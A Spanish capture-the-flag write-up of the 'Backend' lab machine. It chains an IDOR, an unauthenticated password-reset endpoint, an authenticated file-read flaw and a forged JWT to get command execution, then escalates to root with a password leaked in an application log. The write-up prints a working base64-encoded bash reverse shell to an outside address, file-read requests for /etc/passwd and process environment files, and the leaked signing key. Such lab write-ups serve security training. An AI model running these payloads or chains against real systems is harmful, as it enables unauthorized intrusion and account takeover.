Backend
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR.Backendes una cajaLinuxcentrada en el abuso de unaAPIFastAPI. Enumeramos endpoints, leemos datos del admin por IDOR (suGUID), nos registramos para conseguir un token con el que leer el esquema y descubrimos/updatepass, un endpoint sin autenticación que sobrescribe la contraseña de cualquier usuario a partir de suGUID. Como admin leemos ficheros con unLFIautenticado, recuperamos la clave de firma delJWTdel código fuente y forjamos un token condebug:true(JWT forgery) que habilita/admin/execparaRCE. Ya dentro, una contraseña filtrada en el log de la propia aplicación da elroot.
Reconocimiento
Escaneo inicial
ping -c 1 10.10.11.161
64 bytes from 10.10.11.161: icmp_seq=1 ttl=63 time=97.3 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
El barrido UDP sobre los 100 puertos más comunes no devuelve nada:
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.161 | grep -v 'no-response'
Not shown: 6 closed udp ports (port-unreach)
PORT STATE SERVICE REASON
Nmap done: 1 IP address (1 host up) scanned in 1.10 secondsLa tabla sale vacía, pero conviene leer bien la línea de arriba: de los 100 puertos sondeados solo 6 respondieron con un port-unreach que los declare cerrados. Los otros 94 se quedaron en no-response, que en UDP significa "abierto o filtrado, no lo sé". Un UDP vacío nunca es una descarta, es un "aquí no merece la pena insistir ahora".
El TCP completo, en cambio, es tajante:
nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.11.161
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63extractPorts recoge el resultado del escaneo, lo deja en el portapapeles y además lo guarda en un extractPorts.tmp al que volver luego:
extractPorts scan
Extracting information ...
IP Address: 10.10.11.161
Open ports: 22,80
Ports copied to clipboard
File: extractPorts.tmp
1 IP Address: 10.10.11.161
2 Open ports: 22,80Dos puertos en 65535, y la columna REASON repite el ttl 63 del ping, esta vez sobre paquetes TCP. Vamos a por las versiones:
nmap -p22,80 -sCV 10.10.11.161
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http Uvicorn
|_http-server-header: uvicorn
|_http-title: Site doesn't have a title (application/json).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOpenSSH 8.2p1 Ubuntu 4ubuntu0.4 sitúa la caja en Ubuntu 20.04, pero lo interesante está dos líneas más abajo. El script http-title no encuentra título y lo justifica: (application/json). Nmap acaba de decirnos, antes de abrir el navegador, que el puerto 80 no sirve HTML: sirve JSON. Ahí no hay una web con formularios y directorios, hay una API, y eso cambia toda la metodología que viene después.
HTTP - TCP 80: una API, no una web
whatweb confirma lo poco que hay:
whatweb http://10.10.11.161
http://10.10.11.161 [200 OK] Country[RESERVED][ZZ], HTTPServer[uvicorn], IP[10.10.11.161]Ni Title[], ni Script[], ni cookies, ni cabeceras de framework. Solo HTTPServer[uvicorn]. En una web normal esta salida ocuparía diez líneas; que quepa en una es en sí mismo el hallazgo.
Uvicorn es un servidor ASGI de Python, el que se usa por defecto para desplegar FastAPI y Starlette. En el navegador se ve la raíz de la API y Wappalyzer no aporta nada que no supiéramos:

{"msg":"UHC API Version 1.0"}Un escaneo de rutas termina de dibujar el mapa:
dirsearch -u http://10.10.11.161/ --exclude-status=403,404
[13:13:36] 200 - 20B - /api
[13:13:36] 307 - 0B - /api/ -> http://10.10.11.161/api
[13:13:37] 200 - 30B - /api/v1
[13:13:37] 307 - 0B - /api/v1/ -> http://10.10.11.161/api/v1
[13:14:01] 401 - 30B - /docs
[13:14:01] 307 - 0B - /docs/ -> http://10.10.11.161/docs
[13:14:37] 401 - 30B - /openapi.jsonCuatro rutas y dos códigos que cuentan historias distintas. /api y /api/v1 responden 200 sin pedir nada. /docs y /openapi.json responden 401, no 404: existen, pero exigen autenticación. Esa diferencia es una invitación bastante clara, porque /openapi.json es la especificación completa de la API, el índice de todo lo que se puede llamar. Conseguir un token cualquiera, aunque sea de un usuario sin privilegios, valdrá el mapa entero.
Enumeración de la API
Recorrer la jerarquía: IDOR en /api/v1/user/1
Sin documentación, la API se explora a mano, tirando del hilo de lo que cada respuesta sugiere:
curl -s http://10.10.11.161/api
curl -s http://10.10.11.161/api/v1
curl -s http://10.10.11.161/api/v1/user
curl -s http://10.10.11.161/api/v1/user/a
curl -s http://10.10.11.161/api/v1/user/1 | jq
{"endpoints":["v1"]}
{"endpoints":["user","admin"]}
{"detail":"Not Found"}
{"detail":[{"loc":["path","user_id"],"msg":"value is not a valid integer","type":"type_error.integer"}]}
{
"guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
"email": "admin@htb.local",
"date": null,
"time_created": 1649533388111,
"is_superuser": true,
"id": 1
}La cadena se explica sola. La API va anunciando sus propios hijos (v1, luego user y admin). /api/v1/user a secas devuelve Not Found, así que no es un listado. Y al probar /api/v1/user/a la respuesta no es un error genérico: FastAPI contesta que user_id no es un entero válido. Acaba de revelarnos el nombre del parámetro y su tipo. Probamos con el entero más obvio, 1, y sale el primer usuario creado en la base de datos.
/api/v1/user/1 filtra, sin ninguna autenticación, el registro del administrador: es un IDOR de manual, un identificador secuencial que nadie comprueba que te pertenezca. El correo (admin@htb.local) y el is_superuser: true ya son útiles, pero lo valioso es el guid:
36c2e94a-4271-4259-93bf-c96ad5948284Un GUID parece inofensivo, un identificador interno más. Lo apuntamos sin saber todavía para qué sirve, y esa es precisamente la lección de esta caja.
Fuzzing de endpoints: el 422 como oráculo
Bajo /api/v1/user/ puede haber más rutas además del {user_id}. Fuzzeamos:
wfuzz -u 'http://10.10.11.161/api/v1/user/FUZZ' -X POST -w /path/to/common.txt --hh=31,22 -t 500
ID Response Lines Word Chars Payload
000001044: 307 0 L 0 W 0 Ch "cgi-bin/"
000002524: 422 0 L 3 W 172 Ch "login"
000003816: 422 0 L 2 W 81 Ch "signup"Dos aciertos, y ninguno devuelve 200. Ese 422 Unprocessable Entity es la clave: en FastAPI, un 422 significa "la ruta existe y el método es correcto, pero el cuerpo que me has mandado no pasa la validación". Es decir, un 422 es un acierto, no un fallo. Por eso el fuzzing va con -X POST (los endpoints de una API rara vez responden a GET) y por eso el filtro --hh descarta por longitud de respuesta en vez de por código: aquí filtrar por "solo 200" habría dejado la pantalla en blanco.
Quedan localizados login y signup.
Registro e inicio de sesión: los errores dictan el esquema
No sabemos qué campos espera signup, pero no hace falta adivinarlos. Basta con preguntar mal y leer la queja:
curl -X POST -s http://10.10.11.161/api/v1/user/signup | jq
curl -X POST -s http://10.10.11.161/api/v1/user/signup -H "content-type: application/json" -d '{"example":"example"}' | jq
curl -X POST -s http://10.10.11.161/api/v1/user/signup -H "content-type: application/json" -d '{"email":"kmn9@htb.local","password":"1234"}' | jq
// 1. Sin cuerpo: solo sabe que falta el body
{"detail":[{"loc":["body"],"msg":"field required","type":"value_error.missing"}]}
// 2. Con un JSON cualquiera: FastAPI enumera los campos que faltan
{"detail":[{"loc":["body","email"],"msg":"field required","type":"value_error.missing"},
{"loc":["body","password"],"msg":"field required","type":"value_error.missing"}]}
// 3. Con los campos correctos
{}Esta escalera merece que nos detengamos, porque se repite tres veces a lo largo de la caja. FastAPI valida los cuerpos con Pydantic, y cuando la validación falla devuelve la lista de campos que faltan, con su ruta exacta (["body","email"]). Mandar basura deliberadamente convierte el mensaje de error en documentación: no adivinamos el esquema, se lo sacamos al servidor él solito. Es cómodo para el desarrollador y regalado para el atacante (divulgación de información en APIs).
El {} de la tercera petición confirma el registro. El login, en cambio, no acepta JSON:

# JSON -> el endpoint rechaza el cuerpo
{"detail":[{"loc":["body","username"],"msg":"field required","type":"value_error.missing"},
{"loc":["body","password"],"msg":"field required","type":"value_error.missing"}]}Fijémonos en el detalle: pide username, no email. Es la firma de OAuth2PasswordRequestForm, el helper estándar de FastAPI, que por especificación viaja como formulario y llama username al campo de identificación aunque el valor sea un correo. Sin -H content-type, curl ya manda application/x-www-form-urlencoded:
curl -X POST -s http://10.10.11.161/api/v1/user/login -d 'username=kmn9@htb.local&password=1234'{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...","token_type":"bearer"}Ya tenemos un JWT de usuario raso. Con él vamos directos a lo que valía el 401.
El esquema completo: openapi.json
curl -X POST -s http://10.10.11.161/openapi.json -H "Authorization: Bearer <jwt>"
curl -X GET -s http://10.10.11.161/openapi.json -H "Authorization: Bearer <jwt>" | jq
{"detail":"Method Not Allowed"}{
"openapi": "3.0.2",
"info": { "title": "FastAPI", "version": "0.1.0" },
"paths": { "/": { "get": { "summary": "Root", ... } } }
}El Method Not Allowed del primer intento es un recordatorio barato de que un endpoint es la pareja ruta + verbo, no solo la ruta. Con GET sale la especificación entera. La filtramos por las rutas de la API:
curl -X GET -s http://10.10.11.161/openapi.json -H "Authorization: Bearer <jwt>" | jq | grep '/api/v1'
"/api/v1": {
"/api/v1/user/{user_id}": {
"/api/v1/user/login": {
"/api/v1/user/signup": {
"/api/v1/user/SecretFlagEndpoint": {
"/api/v1/user/updatepass": {
"/api/v1/admin/": {
"/api/v1/admin/file": {
"/api/v1/admin/exec/{command}": {
"tokenUrl": "/api/v1/user/login"Nueve rutas, y tres de ellas no las habría encontrado ningún diccionario: SecretFlagEndpoint, admin/file y admin/exec/{command}. Ese es el valor real de haberse registrado. /admin/exec/{command} es ejecución de comandos servida en bandeja y /admin/file huele a lectura de ficheros, pero ambas cuelgan de /admin y nosotros somos un usuario cualquiera. El que sí está bajo /user, al alcance de nuestra cuenta, es /user/updatepass.
Toma de la cuenta admin
El esquema de /updatepass
La especificación no solo lista rutas: describe cada cuerpo. Miramos qué pide updatepass:
curl -X GET -s http://10.10.11.161/openapi.json -H "Authorization: Bearer <jwt>" | jq | grep '/api/v1/user/updatepass' -A 15
"/api/v1/user/updatepass": {
"post": {
"tags": ["user"],
"summary": "Update Password",
"description": "Update a user password",
"operationId": "update_password_api_v1_user_updatepass_post",
"requestBody": {
"content": { "application/json": {
"schema": { "$ref": "#/components/schemas/UserPWUpdate" }
} }
}
}
}El $ref remite al esquema UserPWUpdate, que también viene en el mismo documento:
curl -X GET -s http://10.10.11.161/openapi.json -H "Authorization: Bearer <jwt>" | jq | grep '"UserPWUpdate"' -A 15
"UserPWUpdate": {
"title": "UserPWUpdate",
"required": ["guid", "password"],
"type": "object",
"properties": {
"guid": { "title": "Guid", "type": "string" },
"password": { "title": "Password", "type": "string" }
}
}Ahí está el fallo de diseño, escrito por la propia aplicación. Para cambiar una contraseña se exigen exactamente dos cosas: un guid y la contraseña nueva. No se pide la contraseña actual, y el usuario sobre el que se actúa se identifica por un valor que viaja en el cuerpo, no por la sesión de quien llama.
Y nosotros tenemos un guid desde el reconocimiento: el del administrador, servido por el IDOR de /api/v1/user/1.
Sobrescribir la contraseña del admin
curl -X POST -s http://10.10.11.161/api/v1/user/updatepass -H "content-type: application/json" -d '{"guid":"36c2e94a-4271-4259-93bf-c96ad5948284","password":"1234"}'
{"date":null,"id":1,"is_superuser":true,
"hashed_password":"$2b$12$uv1Ao/KHVrtpE6n.nar2B.CC41fFtJ6Xk475ur/1Ooe3P7egRR7UK",
"guid":"36c2e94a-4271-4259-93bf-c96ad5948284","email":"admin@htb.local",
"time_created":1649533388111,"last_update":null}Dos cosas que merece la pena mirar dos veces.
La primera está en el comando, en lo que no aparece: no lleva cabecera Authorization. Ni un token, ni el nuestro ni ninguno. El endpoint acepta la petición de un anónimo y cambia la contraseña del superusuario. El registro nos hizo falta para descubrir /updatepass leyendo openapi.json, pero no para usarlo.
La segunda está en la respuesta: la API devuelve el objeto de usuario completo, con el hashed_password dentro. Es un bcrypt con coste 12, así que reventarlo no es realista, pero eso no lo excusa: un endpoint que devuelve hashes de contraseña es una fuga sin ninguna contrapartida. Aquí, además, es redundante, porque la contraseña acabamos de elegirla nosotros.
Comprobamos que el cambio ha surtido efecto:
curl -X POST -s http://10.10.11.161/api/v1/user/login -d 'username=admin@htb.local&password=1234'
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzY1MDU0OTEwLCJpYXQiOjE3NjQzNjM3MTAsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOi...","token_type":"bearer"}Decodificando el payload (la parte central, base64url) aparecen "sub":"1" y "is_superuser":true. Somos administradores de la API.
/admin/exec: "Debug key missing from JWT"
Con el token de superusuario, lo primero es probar el endpoint que da RCE directa:
curl -s http://10.10.11.161/api/v1/admin/exec/whoami -H "Authorization: Bearer <jwt-admin>"
{"detail":"Debug key missing from JWT"}Y aquí se acaba el camino fácil. is_superuser no basta: /admin/exec exige además una clave debug dentro del token, un segundo control pensado para que la ejecución de comandos solo esté viva mientras alguien depura.
Es un mensaje de error muy generoso, porque no dice "prohibido", dice exactamente qué falta. Y no podemos limitarnos a añadir "debug": true al payload y reenviarlo: tocar un JWT invalida su firma. O encontramos la clave con la que el servidor firma, o esto no se mueve de aquí.
El otro endpoint de admin sigue disponible, y ahora tiene un objetivo concreto: /admin/file lee ficheros, y la clave de firma vive en algún fichero.
RCE: forjar un JWT privilegiado
LFI autenticado
Repetimos la técnica de los errores para averiguar qué espera /admin/file:
curl -X POST -s http://10.10.11.161/api/v1/admin/file -H "Authorization: Bearer <jwt-admin>"
curl -X POST -s ... -H "content-type: application/json" -d '{"example":"example"}'
curl -X POST -s ... -H "content-type: application/json" -d '{"file":"/etc/passwd"}'
{"detail":[{"loc":["body"],"msg":"field required","type":"value_error.missing"}]}
{"detail":[{"loc":["body","file"],"msg":"field required","type":"value_error.missing"}]}
{"file":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\nhtb:x:1000:1000::/home/htb:/bin/bash\n"}El segundo error nos regala el nombre del campo (file) y el tercero devuelve /etc/passwd entero: un LFI sin filtro ninguno, con ruta absoluta y sin necesidad de ../. Al final del fichero, htb:x:1000:1000::/home/htb:/bin/bash, el único usuario real de la máquina.
Con un usuario, un LFI y el puerto 22 abierto, el atajo evidente es su clave privada:
curl -X POST -s ... -d '{"file":"/home/htb/.ssh/id_rsa"}'
curl -X POST -s ... -d '{"file":"/home/htb/user.txt"}'
Internal Server Error{"file":"2783bb25dced850aa5c6ff04e4c06ec3\n"}El id_rsa no existe (o no es legible), y el LFI no distingue entre esos dos casos: cualquier fallo al abrir revienta con un 500. Se cierra la vía rápida por SSH.
A cambio, la segunda petición deja algo curioso: la flag de usuario se lee aquí, sin shell, sin RCE, solo leyendo un fichero. La flag no es el objetivo real de la caja, pero sirve para medir el impacto de un LFI arbitrario: si puede leer user.txt, puede leer cualquier cosa que el proceso tenga permiso de abrir.
Del proceso al código fuente
Sabemos que hay una clave de firma en algún sitio y que podemos leer ficheros, pero no dónde está desplegada la aplicación. En vez de adivinar rutas, se lo preguntamos al propio proceso a través de /proc/self:
curl -X POST -s ... -d '{"file":"/proc/self/cmdline"}' | jq
curl -X POST -s ... -d '{"file":"/proc/self/environ"}' | jq
curl -X POST -s ... -d '{"file":"/home/htb/uhc/app/main.py"}' | jq
# /proc/self/cmdline
/home/htb/uhc/.venv/bin/python3\0-c\0from multiprocessing.spawn import spawn_main; ...
# /proc/self/environ
APP_MODULE=app.main:app\0PWD=/home/htb/uhc\0LOGNAME=htb\0PORT=80\0HOME=/home/htb\0
LANG=C.UTF-8\0VIRTUAL_ENV=/home/htb/uhc/.venv\0HOST=0.0.0.0\0USER=htb\0
PATH=/home/htb/uhc/.venv/bin:/usr/local/sbin:...\0Dos variables resuelven el problema. PWD=/home/htb/uhc dice desde dónde se lanzó el servicio y APP_MODULE=app.main:app dice qué módulo carga Uvicorn, en notación Python: paquete app, módulo main, objeto app. Traducido a ruta, app.main es app/main.py colgando del directorio de trabajo:
/home/htb/uhc + app/main.py -> /home/htb/uhc/app/main.pyNo es adivinar, es leer. Y funciona:
curl -X POST -s ... -d '{"file":"/home/htb/uhc/app/main.py"}' | jq '.file' -r > main.py
cat -l py main.py
from fastapi import FastAPI, APIRouter, Query, HTTPException, Request, Depends
from fastapi.openapi.docs import get_swagger_ui_html
from app.schemas.user import User
from app.api.v1.api import api_router
from app.core.config import settings
from app import deps
from app import crud
app = FastAPI(title="UHC API Quals", openapi_url=None, docs_url=None, redoc_url=None)
root_router = APIRouter(default_response_class=UJSONResponse)Dos lecturas de este fragmento.
La primera resuelve el 401 que vimos en el reconocimiento. FastAPI(...) se instancia con openapi_url=None y docs_url=None, es decir, la documentación automática está desactivada. Pero el desarrollador la volvió a montar a mano más abajo, con una dependencia que exige token. Por eso /openapi.json respondía 401 y no 404: el endpoint existía, solo estaba protegido, y esa protección se cae en cuanto cualquiera puede registrarse.
La segunda es el hilo que buscábamos: from app.core.config import settings. La configuración vive en app/core/config.py, y ahí es donde suele acabar una clave de firma.
La clave de firma
curl -X POST -s ... -d '{"file":"/home/htb/uhc/app/core/config.py"}' | jq '.file' -r > config.py
cat -l py config.py
class Settings(BaseSettings):
API_V1_STR: str = "/api/v1"
JWT_SECRET: str = "SuperSecretSigningKey-HTB"
ALGORITHM: str = "HS256"
# 60 minutes * 24 hours * 8 days = 8 days
ACCESS_TOKEN_EXPIRE_MINUTES: int = 60 * 24 * 8La clave de firma, en claro, en el repositorio: SuperSecretSigningKey-HTB. Y con ella el algoritmo, HS256, que es simétrico: la misma cadena que firma es la que verifica. Quien la lee no obtiene la capacidad de comprobar tokens, obtiene la de emitirlos (credenciales en el código fuente).
Firmar un token con debug:true
Ya tenemos las dos piezas: sabemos qué falta (debug) y con qué firmar. jwt_tool (repo) hace las dos cosas en un paso, con -T para editar el payload y -S hs256 -p para refirmar:
python3 jwt_tool.py '<jwt-admin>' -T -S hs256 -p 'SuperSecretSigningKey-HTB'
Token header values:
[1] alg = "HS256"
[2] typ = "JWT"
Token payload values:
[1] type = "access_token"
[2] exp = 1765054910 ==> TIMESTAMP = 2025-12-06 21:01:50 (UTC)
[3] iat = 1764363710 ==> TIMESTAMP = 2025-11-28 21:01:50 (UTC)
[4] sub = "1"
[5] is_superuser = TrueAñadimos la clave que pedía el error, con la opción *ADD A VALUE*:

[6] guid = "36c2e94a-4271-4259-93bf-c96ad5948284"
[7] *ADD A VALUE*
> 7
Please enter new Key and hit ENTER
> debug
Please enter new value for debug and hit ENTER
> true
[7] debug = True
jwttool_c7a9bd31cfe220541128c9f3b908c571 - Tampered token - HMAC Signing:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoi...LjkZWJ1ZyI6dHJ1ZX0.24sWIEDhbh9soeJgsyhqWuV9ALohaRIE7lWuAQ0PcGUHMAC Signing es la parte que importa: no ha manipulado la firma para engañar a nadie, ha calculado la firma correcta para el nuevo contenido usando la clave legítima del servidor. Para la API este token es indistinguible de uno que ella misma hubiera emitido, porque criptográficamente lo es.
curl -s http://10.10.11.161/api/v1/admin/exec/whoami -H "Authorization: Bearer <token-forjado>"
"htb"Esto es un JWT forgery de libro. La lección no es que HS256 sea inseguro, sino que un JWT solo vale lo que valga el secreto de su firma: en el momento en que la clave se puede leer, todas las afirmaciones del token pasan a estar bajo control del atacante, incluidas las que el desarrollador consideraba internas.
Acceso inicial
Reverse shell
/admin/exec recibe el comando en la URL, así que los espacios y los caracteres especiales son un problema. La solución estándar: meter la carga en base64, que solo usa caracteres seguros, y decodificarla en destino.
Antes de dispararla contra la caja, la probamos en local. Es un hábito que ahorra ratos muertos delante de un listener silencioso, porque separa "el payload está mal" de "el payload no llega":
echo -n "/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.6/4444 0>&1'" | base64
echo 'L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjYvNDQ0NCAwPiYxJw==' | base64 -d | bash
[+] Listening for reverse shells on 0.0.0.0:4444
[+] Got reverse shell from kali~10.10.16.6-Linux-x86_64 Assigned SessionID <1>La shell llega desde nuestra propia Kali: la cadena funciona. Ahora sí, la mandamos por la URL, con el | codificado como %7C y los espacios como %20:
curl -s 'http://10.10.11.161/api/v1/admin/exec/echo%20<b64>%7Cbase64%20-d%7Cbash' -H "Authorization: Bearer <token-forjado>"
[+] Got reverse shell from backend~10.10.11.161-Linux-x86_64 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /home/htb/uhc/.venv/bin/python3!
htb@backend:~/uhc$ whoami
htbShell como htb, y con un detalle que ahorra trabajo: el TTY se estabiliza con el Python del propio virtualenv de la aplicación, /home/htb/uhc/.venv/bin/python3. La shell aterriza directamente en ~/uhc, el directorio de la API.

htb@backend:~/uhc$ cat /home/htb/user.txt
2783bb25dced850aa5c6ff04e4c06ec3Escalada de privilegios
Contraseña filtrada en auth.log
El primer sitio donde mirar es el directorio en el que hemos caído, porque es el de la aplicación que acabamos de comprometer:
ls -l ~/uhc
cat auth.log
htb@backend:~/uhc$ ls -l
total 76
drwxrwxr-x 1 htb htb 90 Apr 6 2022 alembic
drwxrwxr-x 1 htb htb 218 Apr 10 2022 app
-rw-r--r-- 1 htb htb 1294 Nov 28 21:01 auth.log
-rwxrwxr-x 1 htb htb 127 Apr 6 2022 builddb.sh
-rw-rw-r-- 1 htb htb 2750 Apr 10 2022 populateauth.py
-rwxrwxr-x 1 htb htb 171 Apr 6 2022 prestart.sh
-rwxrwxr-x 1 htb htb 241 Apr 10 2022 run.sh
-rw-r--r-- 1 htb htb 24576 Nov 28 20:58 uhc.dbEse auth.log no es el del sistema. No está en /var/log, está en el directorio de la aplicación, junto a uhc.db y a un populateauth.py que lo alimenta: es un registro que la propia API escribe cada vez que alguien intenta entrar. Y su fecha de modificación es de hace unos minutos, la de nuestros propios intentos.
11/28/2025, 15:57:54 - Login Success for admin@htb.local
11/28/2025, 16:01:14 - Login Success for admin@htb.local
11/28/2025, 16:14:34 - Login Success for admin@htb.local
...
11/28/2025, 16:56:14 - Login Success for admin@htb.local
11/28/2025, 17:04:34 - Login Failure for Tr0ub4dor&3
11/28/2025, 17:06:09 - Login Success for admin@htb.localDecenas de líneas idénticas y una que rompe el patrón. Donde todas las demás llevan un correo, la del Login Failure lleva Tr0ub4dor&3, que no es ningún correo: es una contraseña. Alguien se equivocó de campo al teclear, escribió la contraseña donde iba el usuario, el login falló y la aplicación registró diligentemente el intento con el valor introducido.
Ese es el fallo, y tiene dos capas. La primera es que la aplicación registra el identificador tecleado tal cual, sin sanear, así que un desliz del usuario acaba en disco en claro. La segunda es que el log queda en el directorio de la API, legible por la misma cuenta que sirve la web, es decir, por cualquiera que consiga RCE.
Probamos la contraseña contra root (reutilización de credenciales):
su root
htb@backend:~/uhc$ su root
Password:
root@backend:/home/htb/uhc# cat /root/root.txt
3ba77407d66b850f0f776157f58a86e7Cadena de ataque
HTTP/API FastAPI (nmap: http-title -> application/json)
│ IDOR en /api/v1/user/1 -> GUID del admin
▼
signup + login -> JWT de usuario raso
│ /openapi.json (401 sin token) -> esquema completo -> /user/updatepass
▼
POST /user/updatepass con el GUID (sin autenticación) -> contraseña del admin sobrescrita
│ login como admin -> JWT con is_superuser
▼
/admin/exec -> "Debug key missing from JWT" (callejón)
│
▼
/admin/file (LFI) -> /proc/self/environ -> main.py -> config.py -> JWT_SECRET
│ jwt_tool: token refirmado con debug:true (JWT forgery)
▼
/admin/exec -> RCE -> reverse shell como htb -> user.txt
│ contraseña en el auth.log de la propia aplicación
▼
su root -> root.txtLecciones aprendidas
- Los mensajes de error de una
APIson documentación.FastAPIresponde a un cuerpo inválido con la lista exacta de campos que faltan, y a una ruta existente con un422en vez de un404. Enumerar pasa a ser un diálogo: se pregunta mal a propósito y el servidor va corrigiendo. Devolver errores genéricos cuesta poco y ciega esa vía. - Un IDOR no es "solo" lectura. Filtrar el
GUIDdel admin parecía menor, pero ese identificador era la única credencial que/updatepasspedía para autorizar el cambio. La autorización se comprueba contra la sesión de quien llama, nunca contra un identificador que viaja en el cuerpo y que el propio atacante controla. - Nunca guardes la clave de firma del
JWTen el código. ConSuperSecretSigningKey-HTBenconfig.pyy unLFIpara leerlo, el atacante deja de estar limitado a los claims que el servidor le dio: emite los suyos. EnHS256la clave que verifica es la misma que firma, así que leerla equivale a poder emitir. Las claves van en variables de entorno o en un gestor de secretos. /proc/self/environy/proc/self/cmdlineson oro tras unLFI.APP_MODULEyPWDconvirtieron "no sé dónde está desplegada la app" en una ruta exacta sin una sola conjetura. Son el puente entre "leo/etc/passwd" y "leo el código que me da las claves".- Los logs de aplicación filtran secretos. Un usuario que teclea la contraseña en el campo del nombre la deja escrita en claro para siempre. Los registros de autenticación no deberían guardar el identificador tal cual, no deberían vivir en un directorio legible por el proceso web, y desde luego una contraseña de aplicación no debería servir también para el
rootdel sistema (reutilización de credenciales).